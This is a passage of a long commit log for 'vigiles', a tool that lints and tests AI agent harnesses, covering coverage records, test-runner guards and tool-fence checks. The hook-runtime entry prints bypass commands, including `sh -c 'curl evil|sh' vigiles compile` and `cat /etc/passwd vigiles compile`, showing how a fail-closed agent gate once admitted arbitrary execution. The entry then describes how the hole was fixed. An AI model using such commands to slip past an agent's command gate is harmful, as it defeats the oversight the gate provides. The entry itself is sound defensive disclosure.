`*.test.*` matches all of them. The fix is therefore always a rename.
Patterns quoted verbatim from the packages on disk, not from memory:
node_modules/vitest/dist/chunks/defaults.*.js
**/*.{test,spec}.?(c|m)[jt]s?(x) (defaultInclude)
**/*.{test,spec}-d.?(c|m)[jt]s?(x) (typecheck; --typecheck only)
node_modules/jest-config/build/index.js
**/?(*.)+(spec|test).?([mc])[jt]s?(x)
**/__tests__/**/*.?([mc])[jt]s?(x) <- by LOCATION; no suffix needed
The `-d` glob is quoted but NOT matched: a plain run ignores it, so reporting
it would flag files nothing collects. The two name globs differ where it
matters and both are honored -- jest's prefix `?(*.)` is OPTIONAL, so a bare
`test.mjs` is jest-only, and naming the wrong tool would send the author to
configure a runner that never ran the file.
Deliberately NOT a config parse. Reading `vitest.config.*` / `jest.config.*` /
`package.json#jest` to learn whether this repo overrode its globs means
evaluating dynamic JS, following `extends`, and resolving monorepo layers --
false confidence in both directions. A filename does not lie, and the finding
claims only what is true regardless of any config: a DEFAULT run collects this.
Scope is the harness surface dirs (skills/agents/commands/hooks, in both the
plugin and the `.claude/` user shape), derived from `PluginLayout` rather than
hard-coded. `src/foo.test.ts` is an ordinary project test and none of our
business; flagging it would make the warning fire on every repo with tests.
A warning in the existing report -- no new verb, no new flag -- and NOT scored,
like the merge-conflict finding next to it. A grade must not move because of
what someone named a file beside a hook: this is a hazard in how the repo meets
OTHER tools, not a fact about how the harness was designed. Nothing starts or
stops counting as coverage. In both scan engines, or the byte-parity gate
fails; findings are sorted in plain codepoint order (not `localeCompare`, which
would make a byte-compared report depend on the machine's locale).
The message is class-level about agent spend, not a claim about the specific
file. The check reads names only, so it cannot know whether a given file drives
an agent or is a pure offline test -- the one in the wild
(`verify-cites.test.mjs`) is pure, and "this spawns an agent" would have been an
overclaim on it.
Both halves everywhere -- fires on the defect, silent on a healthy corpus --
and seven mutations, each failing on its own assertion: drop the `__tests__`
location branch; drop the surface-dir scope (ordinary project tests get
flagged); make jest's optional prefix mandatory (bare `test.mjs` missed); widen
the extension set (`.test.json` / `.test.md` flagged); drop the eval money
sentence; drop the sort; add our own suffixes to the name glob (the
clean-corpus half stops being silent).
Verified on a real corpus outside this repo (`vigiles audit ~/mine`): one
finding, `.claude/skills/verify-citations/scripts/verify-cites.test.mjs`.
`npm test`: 2584 passed, the one pre-existing failure being
`harness-test.test.ts > a blocking Stop hook forces the agent to keep working`
(broken TLS proxy in this env). `api:check` green -- the new module is
internal, reached from the scanners, not re-exported.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(gitignore): `node_modules/` with a trailing slash does not ignore a SYMLINK named node_modules
Self-inflicted, and it wedged the checkout for a few minutes — worth the entry
because the mechanism generalises.
WHAT HAPPENED. Two agents were deliberately separated into `git worktree`s to
stop them overwriting each other. A worktree has no `node_modules`, so I linked
it: `ln -sfn /workspace/vigiles/node_modules /tmp/wt/node_modules`. Then a
routine `git add -A` in that worktree TRACKED the symlink, because
`.gitignore`'s first line is `node_modules/` — a trailing slash matches
DIRECTORIES ONLY, and a symlink is not a directory to git. Merging that branch
back replaced the real `node_modules` directory with a symlink pointing at
itself: every command died with ELOOP, `npm run build` "succeeded" only because
the grep for `error TS` found nothing in an empty stream, and the tree looked
fine to `git status`.
THE FIX is the missing slash. `node_modules` matches the directory and the
symlink; nothing else in this repository can be named that.
Recovered with `npm ci` — the npm registry is reachable from here even though
git's TLS is not, which is the same asymmetry that keeps the GitHub API working
while `git push` fails.
The general shape, for whoever hits it next: an ignore rule written for the
common form of a path stops applying the moment somebody creates the same name
in a different form, and the failure surfaces far away — in a merge, in another
checkout, as ELOOP rather than as "you committed node_modules".
* test(site): regenerate the browser-parity fixture for the engine changes in this branch
The committed expected report still described the previous engine, so the
parity test failed on CI with a field-level diff that reads like a real
Node-vs-browser divergence. It is not: both sides agree, and the fixture is
what is stale.
Regenerated with the documented procedure (`node site/scripts/gen-parity-expected.mjs`,
which formats through prettier so the result does not redden `fmt:check` later).
The diff is exactly the two intentional changes and nothing else:
coverageEvidence {declared, colocated, mention} → {executed, colocated}
Safety finding per-unit "inherits all tools" → the aggregated
`disallowed-tools:` wording, since `allowed-tools:` was
measured to be pre-approval rather than a fence
⚠️ NOT verified locally: this environment's Playwright has no
`chromium_headless_shell-1228`, and installing browsers here is disallowed, so
the browser suite cannot run. CI is the check.
* test(eval): cover the foreign-runner guard through the composition root
The 100% gate failed on exactly two lines — `eval.ts` 386-387, the wiring that
reads `process.argv[1]` and throws. The pure helpers were unit-tested next door;
what nothing proved was that `spawnAgent` actually calls them, and wiring is the
half that silently rots.
The test works because of where it runs: under vitest `process.argv[1]` is
`…/node_modules/vitest/dist/workers/forks.js`, so the guard fires by
construction. Asserting the throw costs nothing and spawns nothing — and it is
the same property the guard exists for, exercised rather than described.
* fix(coverage): a rerun that drops a surface must withdraw the coverage it claimed
Reproduced before it was fixed, on a two-hook fixture driven through the real
CLI (now `src/cli-coverage-record.test.ts`):
run 1 t.harness.mjs runs hooks/a.sh -> coverage.json: hooks/a.sh
edit t.harness.mjs now runs hooks/b.sh
run 2 coverage.json: hooks/a.sh, hooks/b.sh
vigiles lint: "2 MEASURED BY A RUN"
`hooks/a.sh` is execution-tier covered by a run that no longer exists, and it
stays that way forever: `mergeRuns` starts from every previous record and can
only overwrite keys present in `next`, and staleness is keyed to the SURFACE's
text -- rewriting the test does not touch the hook, so the record never even
goes stale. The tier whose whole reason for existing is "answer by execution,
not by name" was answering by a name that ran once, in the past.
The sharper half is the empty case: a harness emptied of its assertions reports
NO probes, so there is no key to overwrite at all and merging can never reach
it. `recordRunCoverage` also returned early on "nothing new to record", which
is precisely the run worth writing down.
Fix: a run retracts as well as records. `mergeRuns` takes the scripts that
executed and drops their previous records BEFORE the new ones land, so what a
run says about its own script replaces everything that script said before,
including silence. Scoped to (script, tier) -- the merge key minus the surface
-- so a run can only ever withdraw what its own scripts claimed:
- a script that was NOT run keeps its records (`vigiles test one.harness.mjs`
must not erase the suite);
- the free per-push tier never withdraws what the paid scheduled tier
measured, same reason the merge key already carries the tier;
- the parameter is optional, so a caller that cannot say which scripts ran
gets the old merge-only behaviour rather than silent deletions.
A SKIP is the one status that is not an execution (`executedScripts`): the
deterministic tier skips when `claude` is absent, and dropping a record because
today's machine lacks a CLI would delete a measurement taken on the machine
that had it. `fail` and `vacuous` DID run and established nothing, so their old
green records must not outlive them -- the same rule `runsFromResults` already
applies when refusing to write one.
"Absent artifact = today's behaviour, exactly" survives: nothing to add and
nothing withdrawn means the file is not touched, so a fresh clone still gets no
artifact and a green no-op run does not churn the timestamp.
Both halves per behaviour, and seven mutations each failing on its own
assertion: restore the defect (`kept = previous`); drop the tier from the
retraction key (both halves, since desynchronising one is degenerate); retract
every previous record instead of the scripts that ran; drop `norm()` from both
sides (a Windows-recorded `by` becomes unretractable); count a skip as an
execution; have the CLI forget to pass the executed set; restore the CLI's
early return; drop the CLI's no-op guard (a repo that exercises nothing starts
getting an artifact).
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(doc-commands): a global or sticky filter must not skip every other command
Reproduced before the fix, on a block of four `curl` lines:
commandsIn(md, /curl/) -> 4 ["…a", "…b", "…c", "…d"]
commandsIn(md, /curl/g) -> 2 ["…a", "…c"]
commandsIn(md, /curl/y) -> 2 ["…a", "…c"]
`RegExp.test` advances `lastIndex` on a global or sticky regex, so testing a run
of matching lines with the SAME object alternates hit, miss, hit, miss. The
damage is downstream and silent: half the document never enters the set that
`mustInclude` / `mustNotInclude` judge, so the rule reports "all 2 command(s)
include --cacert" over a file with four, and a ban goes green over commands it
was never shown. `/curl/g` is what a caller writes without thinking about it,
and a flag that changes WHICH commands are checked is the worst possible
meaning for it.
Fixed by building the filter fresh without `g`/`y` rather than resetting
`lastIndex` per line: the caller's regex is theirs and may be in use elsewhere
(a reset would mutate it), and a non-global regex has no state left to reset
wrongly -- the ability goes rather than the symptom. `y` is dropped for a second
reason: sticky ANCHORS the match at `lastIndex`, so `/curl/y` against
`sudo curl …` finds nothing, which is not what "matching" means here. Every
other flag is preserved, `i` included.
Both halves: /g, /y and /gi now return exactly what a plain /curl/ returns
(with the plain result asserted as the control), and the caller's `lastIndex`
comes back untouched. Four mutations, each failing on its own assertion: use
the caller's regex directly (the defect); strip `g` but keep `y`; drop all
flags (case-insensitivity silently stops working); reset `lastIndex` once
before the loop instead of removing the statefulness.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(check): a restricted `Tool(...)` declaration must match the base tool it names
Reproduced before the fix, on a skill whose frontmatter says
`allowed-tools: Bash(git:*), Read`, against a trace of Skill + Bash + Read:
agent used tool(s) outside its declared set: Bash
(declared: Bash(git:*), Read, Skill)
`Bash(git:*)` is the ordinary way to write a narrow grant, and `skillContract`
hands that literal string to `onlyTools` -- while a trace only ever carries the
base name `Bash`, because that is what the harness reports. Set membership
therefore missed, and every legitimate Bash call was reported as outside a
declared set that literally lists Bash. The failure is self-refuting on its
face, so nobody debugs it; they delete the check. And it fired on precisely the
authors who did the right thing and narrowed their grant.
Fixed with the `split("(")` normalization the rest of the codebase already
applies to tool declarations (core/tool-contract.ts, core/lethal-trifecta.ts,
core/delegation-trifecta.ts) -- kept as a local one-liner because the testing
pillar does not otherwise depend on the linting core. The declaration is still
ECHOED verbatim in the message and kept verbatim in `SkillContract.declared`:
an author who wrote `Bash(git:*)` must read back what they wrote, and the
restriction is what `lethal-trifecta` parses.
What this does NOT start claiming: that the command really was a `git` one. A
trace names the tool, not the grant it was matched against, so `Bash(git:*)` can
be held to "no tool outside the declared set" and no further. Narrowing beyond
the base name reads the grant rather than the run, and that is
`disallowed-tools:` + `lethal-trifecta`'s job. Said outright in the doc comment
so the check is not mistaken for one.
Both halves: the declared-and-narrowed call passes AND `WebFetch` is still
caught, so normalizing did not turn the white-list into a pass-all -- asserted
at both layers, on `onlyTools` directly and end-to-end through a real
`SKILL.md`. Two mutations, each failing on its own assertion: drop the base-name
normalization (the defect, failing both layers); print the normalized form in
the message instead of the declaration as written.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): the documented `testExtension` config was read by nothing
Reproduced before the fix. A repo with a `tsconfig.json`, one untested skill,
and this `.vigilesrc.json`:
{ "rules": { "untested-skill": ["warn", { "testExtension": "mjs" }] } }
$ vigiles lint
skill .claude/skills/demo/SKILL.md — add e.g. .claude/skills/demo/demo.eval.ts
`TestCoverageOptions.testExtension` documented itself as coming from
`.vigilesrc.json`, but `TestCoverageConfig` -- the shape the three `untested-*`
rules actually accept -- had no such key, and `checkUntestedSurfaces` forwarded
only `testGlobs` and `exclude`. So the escape hatch that exists precisely for
the cases detection gets wrong (a mixed monorepo, a JS project carrying a stray
tsconfig.json, a deliberate choice to keep tests in JS) did nothing at all, in
silence. That is this project's own thesis pointed at its own CLI: the setting
was prose, and nothing mechanical read it.
Fix: declare `testExtension` on `TestCoverageConfig` and forward it. The
decision itself is unchanged and already tested (`core/test-file-ext.ts`) --
convention first, config only to disagree, an unrecognised value ignored rather
than honoured so nobody is sent to create `demo.harness.rb`.
The doc comment that made the promise is corrected too: the key arrives as
`rules["untested-skill"][1].testExtension` (or the `-subagent` / `-hook` twin,
since the three share their options), not as a top-level `.vigilesrc.json`
field. Saying only "from .vigilesrc.json" is what made the gap invisible.
Tested through the real CLI, which is where it broke -- a library-level test
could not have caught it. Four cases: detection decides with no config (the
control, `.ts`); the config overrides it (`.mjs`); it works when set on any of
the three rules, since `checkUntestedSurfaces` merges their options; and a
nonsense value falls back to detection. Mutation: drop the forwarded field and
the two override cases fail, the control and the nonsense case stay green.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* style: clear the four lint errors and the formatting drift on this branch
`npm run lint` had 4 errors and `prettier --check` flagged 9 files, all in code
this branch added or touched. Warnings (203) are pre-existing and untouched.
Three of the errors were one habit of mine: writing the retired marker as
`` `vigiles:${"covers"}` `` so the source file would not match its own search.
The precaution was never checked and the tree contradicts it — the literal
already appears in five other files under `src/`, and the detector reads only
files matching `testGlobs` in the SCANNED repo, never vigiles' own sources. Now
written plainly, with the reasoning recorded where the constant lives so nobody
re-splits it.
The fourth was a non-null assertion in a test; replaced with an assertion that
says what it expects, which is what the test wanted to express anyway.
Behaviour unchanged: 99 tests across the touched files pass, and the byte-parity
scan test is among them.
* fix(hook-runtime): the wedge escape admitted ANY executable carrying `vigiles compile`
The recovery predicate matched a leaf by scanning its WHOLE argv for a token
named `vigiles` followed anywhere by `compile`. Nothing required vigiles to be
the program that runs. `node -e '<payload>' vigiles compile`,
`sh -c 'curl evil|sh' vigiles compile` and `cat /etc/passwd vigiles compile` are
each ONE leaf, so `allLeavesAre` (the fix for the composition hole) saw nothing
wrong and admitted them as the repair action.
That is arbitrary execution through a fail-closed gate, and it opens exactly
when the gate is refusing everything else. Measured 2026-08-11 against the real
`hook-runtime run-program`: all four exited 0 while `ls` exited 2.
Match POSITIONALLY instead: `vigiles` is the leaf's own head (through a path or
an already-resolved `sudo`/`env`/`timeout` wrapper), or it sits where a package
runner puts a package name — a whitelist of runner prefixes (`npx`, `bunx`,
`npm exec`, `pnpm exec|dlx`, `yarn exec|dlx`, `bun x`) plus a whitelist of
runner options that consume no value. `-p`/`--package`/`-c` are deliberately NOT
skippable: their value is a package the runner installs or a shell it runs, so
"skip anything starting with -" would hand the hole straight back. The verb must
then be the NEXT word (the CLI reads `args[0]`), modulo the `--` a runner needs.
Both halves are asserted, unit and end-to-end: every documented launch form
still escapes the wedge — a fix that shuts the author out re-wedges the repo
with no way back, which is the defect the escape exists for.
Reported by Codex on 357c3e6.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(scan): skill→skill ref checking was a no-op in every `skills/` plugin
`loaded.files` is keyed by the CANONICAL materialized key — a plugin shipping
`skills/foo/SKILL.md` is loaded under `.claude/skills/foo/SKILL.md` — while
`ScanSkill.path` is the REAL on-disk path (the E1 remap). The report looked
contents up by the latter, so in the ordinary published-plugin layout every
lookup returned `undefined` and every skill was dropped before the check ran.
Measured 2026-08-11 on one fixture, moved between the two roots with
byte-identical content: 2 broken refs reported under `.claude/skills/`, 0 under
`skills/`. This repo's own skills live under `skills/`, so the check has never
run on the flagship either — a checker that is present and finds nothing, which
is the failure class the tool exists to catch in other people's harnesses.
Build the sources from the canonical keys instead (`skillRefSources`), remapping
only the path that goes in the MESSAGE, so a finding still names a file the
reader can open. Both report builders, since the parity gate holds them
together.
Reported by Codex on 357c3e6.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): an ambiguous probe granted execution coverage to the copy that did not run
When two discovered surfaces share a name — a skill shipped at `skills/foo/` and
overridden at `.claude/skills/foo/` — a transcript reference `plugin:foo`
resolved to BOTH, and `recordsFrom` wrote a record for each. Exactly one of them
ran, so the shadowed copy was credited with execution coverage it never earned
and the artifact asserted something false.
Returning both was documented as the conservative choice; it is the opposite.
Dropping loses a real record for the copy that did run — recording both INVENTS
one, which is the substitution this whole tier exists to remove, and it
contradicts the rule the tier already follows for a ref it cannot resolve.
The command branch had the same hole through its basename fallback, plus one of
its own: the three shapes it accepts OVERLAP, so with both hooks discovered the
fully-qualified ref `.claude/hooks/pre.sh` was an exact match for one and a
`/`-suffix match for the other. They are now a ladder — exact, then suffix
(longest surface path wins), then basename — consulted top-down, so a precise
ref stays precise and only a genuinely ambiguous one drops.
Reported by Codex on 357c3e6.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): a `./`-spelled run could not retract what the bare spelling recorded
The retraction set added yesterday keys records by the script that wrote them,
and `norm()` only swapped separators — so the same file spelled two ways was two
keys. `discoverScripts` passes an argument naming an existing file through
VERBATIM and only globs otherwise, so `t.harness.mjs` (glob) and
`./t.harness.mjs` / an absolute path (typed) are all ordinary spellings that
reach `by` as written.
Measured 2026-08-12 on the two-hook fixture:
vigiles test → record `by: t.harness.mjs`
(empty the harness)
vigiles test ./t.harness.mjs → `hooks/a.sh` still "1 MEASURED BY A RUN"
That record never expires either: freshness is keyed to the SURFACE's text,
which rewriting the test does not touch — the exact "false coverage that cannot
go stale" this tier exists to remove, re-entered through the spelling.
The same split has a second symptom on the merge key: running once by
`./t.harness.mjs` and once by the default glob left TWO records for one script.
So both keys go through `canonicalScript` — fixing only the retraction would
have left the duplicate standing.
`canonicalScript` collapses separators, `./` and `..`, and relativises an
absolute path when the caller can say where the repo root is (`recordRunCoverage`
can, and now does). Relativising from a fixed root is injective, so two different
files can never collapse onto one key — an absolute and a relative spelling meet
only when they name the same location. A first draft carried a guard keeping
escaping paths absolute; mutating it away changed no test because it could not,
so it was removed rather than shipped as decoration.
Both halves are covered at both levels: unit (`./`, absolute, `..`, one-record
merge) and end-to-end through the real CLI, plus the quiet half — a DIFFERENT
script, and an unrelated absolute path, still retract nothing.
Reported by Codex on f942d8a.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(cli): the edit-time nudge ignored the `untested-*` config its own linter obeys
`evalLockNudgeHookCommand` called the coverage detector with `basePath` alone, so
it read the DEFAULTS whatever `.vigilesrc.json` said. Measured 2026-08-12 through
the real built CLI on two fixtures:
rules: { "untested-skill": false }
lint → prints nothing
nudge → "nothing measures whether it still does what it claims"
rules: { "untested-skill": ["warn", { testGlobs: ["**/*.check.mjs"] }] }
lint → "all 1 surface(s) have a test or eval"
nudge → "no test or eval covers it"
A hook that contradicts the linter of the same repo, in the same second, is worse
than one that says nothing: it teaches the agent that both are noise. And a rule
the author explicitly switched off must not come back through a hook.
The config reading is extracted into `untestedRules`, now the ONE reader for both
callers, so the two cannot drift again: per-kind severities (a kind set to
`false` arrives as `skills: false` and is not scanned) plus the shared
discovery options merged from whichever of the three rules carries them.
No separate "is anything enabled" gate at the nudge: the disable already travels
inside the options, and a mutation removing that second gate passed every test —
i.e. it would have been a branch nothing could distinguish from its absence.
Tests drive the real CLI's PostToolUse entry point and assert lint and the nudge
AGREE in both directions — a configured `testGlobs` that ADDS coverage, and an
`exclude` that removes it — with the no-config control so a fix that merely
silenced the hook cannot pass.
Reported by Codex on f942d8a.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(eval): the `node --test` guard entry was a path that cannot exist
The runner table carried `["node --test", ["node_modules/.bin/node--test"]]`,
added by analogy with the npx-installed runners and never measured. Node's test
runner is a FLAG on node, not an installed binary, so nothing under
`node_modules/.bin/` can appear in `argv[1]` — the entry could not fire under any
invocation. The paid tier stayed reachable from `node --test` for the whole life
of the guard, while the table read as though it were covered: a legacy harness
named `*.test.mjs` (a name Node's own default patterns collect) spent real model
calls on every push.
Measured 2026-08-12 (Node 22.22, a fixture printing its own process facts):
node --test foo.test.mjs
argv[1] = /abs/foo.test.mjs ← the TEST FILE, no runner in sight
execArgv = []
NODE_TEST_CONTEXT = child-v8 ← the only signal
node --test --experimental-test-isolation=none foo.test.mjs
execArgv = ["--test", …]
NODE_TEST_CONTEXT = undefined ← in-process: no child, no var
So the two modes need two different facts, and both are read.
This is NOT the `process.env.VITEST` idiom this file rejects. `VITEST` is a
user-visible convention that can sit in a `.env` or a CI job for unrelated
reasons — a guard reading it fires on correct input. `NODE_TEST_CONTEXT` is set
by NODE ITSELF in the child it spawns, and `execArgv` is the flag list node was
launched with (`--test` is refused inside `NODE_OPTIONS` — verified). The
distinction is recorded at the site so the next reader does not "fix" it back.
The other four entries were re-measured the same way and are all live — vitest
(forks and threads workers), jest (`.bin/jest`, jest-worker), mocha (`.bin/mocha`
and, under `--parallel`, `mocha/lib/nodejs/worker.js`), ava
(`ava/lib/worker/base.js`). Only the invented one was dead, and it is gone.
The test is END-TO-END: a real `node --test` over a file that calls the real
`spawnAgent`, in both isolation modes, plus the quiet half — a plain
`node foo.eval.mjs` against the REAL process facts is still not refused. A unit
test written from the same wrong belief would have agreed with the dead entry.
The child runs with an empty `PATH`, so a regression fails the test instead of
billing for it.
Reported by Codex on f942d8a.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* test(eval): probe for `--experimental-test-isolation=none` instead of assuming it
CI went red on a runner that cannot reach the branch the test covers: the flag
landed in Node 22, CI runs Node 20, and there it is not ignored but rejected —
`bad option`, exit 9 — so the assertion failed on a version mismatch rather than
on the guard.
Probed by asking the binary (`node --experimental-test-isolation=none -e ""`),
not by comparing versions: a version check works today and rots the moment the
flag is renamed or promoted out of experimental. Asking cannot rot.
The skip is LOUD — it prints which node it saw and which half of the guard still
ran. A quietly-skipped test is the exact failure this branch exists to remove:
silence that reads like a pass. Verified by forcing the probe to false: 2 passed,
1 skipped, warning printed; control run 3 passed.
The NODE_TEST_CONTEXT half — the one that matters for the default `node --test`
invocation — runs everywhere.
* fix(scan): a `*.test.*` under a surface dir is not proof it drives an agent
The foreign-runner check reported every test-looking file below a harness
surface dir and told its author to rename it to `*.harness.mjs`. On the author's
own repo that hit
`.claude/skills/verify-citations/scripts/verify-cites.test.mjs` — an offline test
of a pure reducer: no model, no network, not one vigiles import. Following the
advice would have taken a working test out of that repo's vitest run. That is
not noise, it is a harmful instruction.
The premise ("a harness test calls `runHarnessTest`/`measureTriggerRate`, which
spawn an agent") is true of harness tests and false of that file, and nothing
checked which one it was reading. The message had already been softened to a
class-level claim, which is the tell: softening the wording does not fix a false
positive; withholding the finding does.
So the premise is now measured per file. A finding needs evidence — the file
names an agent-driving vigiles API (`runHarnessTest`, `runEval`,
`measureTriggerRate`, `scriptModel`, …) or its name declares the paid tier
(`*.eval.*`) — and the message quotes that evidence back instead of describing
the class. `runHook` is deliberately NOT on the list: the no-capability tier
spawns no binary and bills nothing, so telling its author to rename is the same
bad advice one tier down.
`read` is a required parameter with no default. A default would be a silent
fallback to "assume it drives an agent" — the name-only rule again — and an
engine that forgot to pass one would reintroduce it with no compile error. Both
engines pass it (disk read / map lookup) and both treat unreadable as no
evidence, so the byte-parity gate still holds; the parity fixture regenerated
identically.
Verified on the real corpus: scanning `/home/user/mine` printed that warning
before and prints nothing after. Four mutations, each failing its own assertion:
drop the gate · count `runHook` · use `\b` instead of identifier lookaround ·
drop the eval-name evidence.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(trifecta): an explicit `disallowed-tools: []` is an attempt, not a missing line
The doc contract on `skillTrifectaIssue` already said the two states differ —
"an explicit empty list still denies nothing, but the message should not tell an
author who wrote the line that they didn't" — and the code then merged them in
one condition. Reproduced: a skill declaring `disallowed-tools: []` was reported
as "No `disallowed-tools:` line".
The damage is routing, not wording. `fence: "none"` is swept into the
whole-surface aggregate ("N of M skills declare no tool fence"), while
`"ineffective"` keeps a per-skill line. So the one author who reached for the
field and got nothing back was the only one who never got told about it, and the
sentence they did get sent them looking for something they had already written.
Grading is untouched: both remain `"advisory"` and count once toward
`trifectaExposure`. An empty fence has capability equal to no fence, so moving it
must not score worse — that is the non-monotonicity this detector was fixed for
once already.
Unreadable frontmatter still reports as `"none"`: a strict loader parses no
block, so whatever it appears to declare denies nothing. That is not an attempt.
The vendor FP-guard added here covers this and the foreign-runner change on the
five SHA-pinned real plugins — neither new branch may fire on any of them, so a
change to how one state is ROUTED cannot silently re-bucket a real corpus.
Mutations, each failing its own assertion: fold `[]` back into `"none"` · treat
unreadable frontmatter as an attempt.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): stop suggesting a `.ts` test this repo has no way to run
`testFileExt` answered "is this project TypeScript?" (a `tsconfig.json`, a
`typescript` dependency) and never asked "can anything here RUN a TypeScript
script?". `interpreterArgs` asks exactly that and refuses without `tsx` or Node's
native type stripping. On Node 20 — which this repo's own CI runs, 20.20.2 — a
project with a `tsconfig.json` and no local `tsx` was told to add
`foo.harness.ts`, and `vigiles test` then threw `Cannot run TypeScript test
script` on the file the finding had just asked for. A remedy the tool rejects is
worse than no finding: the author does the work and is told no.
The capability probe moves to `src/ts-runner-caps.ts` (harness-agnostic: it is a
fact about Node and `node_modules`, not about a harness) so the suggester and the
runner read ONE predicate and cannot drift apart again. `run-scripts.ts`
re-exports it, so every existing importer is unchanged.
`undefined` means nobody measured and does NOT downgrade — the browser engine has
no Node to ask, and a caller who never looked must not silently push every
TypeScript repo to `.mjs`. Only a measured `false` changes the answer. An
explicit `testExtension: "ts"` also survives: that field exists to disagree with
detection, and the author may be adding `tsx` in the same commit.
The wiring test simulates Node 20 by overriding
`process.allowedNodeEnvironmentFlags` (a configurable accessor) — without it the
whole gate is untestable on a dev box, since Node 22 strips types natively and
dropping the wiring breaks nothing until CI sees it. Four mutations, each failing
its own assertion: ignore the signal · treat unmeasured as incapable · let it
override an explicit config value · drop the wiring at the call site.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(cli): three commands scanned every repo as Claude Code, and went quiet
`vigiles lint` threads `adapter.layout` into `findUntestedSurfaces`. Three other
callers of the same detectors passed a path alone and got `claudeCodeLayout` by
default:
- `skillTestNudge` (the PostToolUse nudge) — in a Codex repo whose surface is
`.codex/skills/foo/SKILL.md`, discovery returned ZERO surfaces, the edited
skill matched nothing, and the hook said nothing at all, while `lint` in the
same repo reported that skill untested.
- `resolveRecords` (`vigiles test` / `eval`) — resolution matches probes
against DISCOVERED surfaces, so an empty discovery silently dropped every
probe a successful run had earned, and execution coverage never appeared.
- `rankPlugins` (the multi-target `audit` branch) — found by grepping for the
shape of the first two. Single-target `audit` resolves the adapter properly;
the leaderboard branch did not, so a Codex plugin scanned as Claude Code has
fewer discoverable surfaces, nothing to deduct, and sorts UP the board.
None of the three FAILED. Each returned an empty set, and an empty scan reads as
a clean one — which is why the third existed at all.
One resolver now, `harnessLayoutFor`, with the same precedence lint/compile/audit
use (`--harness=` → config `harness` → detect). It does not throw: an unknown
harness name is a hard error where the user typed it, but a hook and a post-run
recorder must not turn a bad config key into a failed edit or a red test run.
`rankPlugins` detects PER DIRECTORY and ignores flag/config on purpose — those
describe the repo you are standing in, not the N vendored dirs being compared.
Covered behaviourally through the real built CLI (a Codex repo now gets the nudge
its own linter gives; a Codex repo stops being credited for a `.claude/` hook; a
Codex command surface is discovered by the board) with the quiet halves on real
input — the Claude Code fixtures still speak, and the SHA-pinned vendored plugins
score number-for-number what a direct Claude-Code scan gives.
Plus a source-level gate: every `findUntestedSurfaces`/`skillTestNudge` call in
`cli.ts` carrying a `basePath` must carry a `layout`. Brace-balanced argument
capture, not a line regex, so a `layout` in a nested object cannot satisfy it.
The fourth call site is the one nobody would write a behavioural test for.
Mutations, each failing its own assertion: drop the layout at each of the three
call sites (and the gate independently catches two of them).
Also inspected and left alone: `scan-behavioral.ts`'s selection-matrix and
stubbed-hook paths, which are gated to `harness === "claude-code"` and expose no
layout parameter to drop; and the site's in-browser demo, which passes the
default layout but also labels its own output `harness: "claude-code"`, so it is
scoped rather than wrong.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* test(coverage): stop asserting a TypeScript suggestion against whichever node ran the suite
CI went red on two assertions that pinned `.ts` while the capability gate they
were testing correctly answered `.mjs`. Both passed on a Node 22 dev box and
failed on CI's Node 20 — where TypeScript genuinely cannot be run and `.mjs` is
the right suggestion. The assertions were testing the runner, not the gate.
Two different fixes, because the two tests reach the capability differently:
- `test-coverage.test.ts` runs in-process, so the "capability restored" half now
SIMULATES support (`asNodeWithStripTypes`, the mirror of the existing
`asNode20`). Both directions are simulated, so each half is deterministic on
any host.
- `cli-untested-options.test.ts` spawns a real `node`, where the capability
cannot be simulated away. It now asserts the PROPERTY the test is actually
about — the suggested path is one THIS host can execute, and the nonsense
`rb` never reaches it — instead of pinning an extension.
Same lesson as the `--experimental-test-isolation=none` probe two hours earlier:
never assert a behaviour that depends on which node picked up the job. Recorded
in both files so the next author meets it where it bites.
2715 passed; the one failure is the pre-existing `a blocking Stop hook forces the
agent to keep working` (this environment's broken TLS proxy).
* fix(coverage): three checks accepted a NAME where a PROPERTY was required
All three are the same substitution, in three places: the presence of a token
taken for the presence of the thing the token names. Reported by Codex; each
reproduced before the fix.
1. `coverage-probe` attributed by TOKEN, not by POSITION. Any script-looking
word anywhere in a command — or anywhere in its env — minted an
execution-tier coverage record. So a passing harness that ran
`cat hooks/pre-edit.sh`, `cp hooks/pre-edit.sh …` or `grep -n x hooks/x.sh`
painted that hook COVERED BY A RUN, with a fresh timestamp, so it never
expired. The command is now PARSED (new `leafArgvSource` in bash-effects,
mvdan-sh) and only executable positions count: a leaf head that is itself a
script, the first non-flag operand of an interpreter, and the word after our
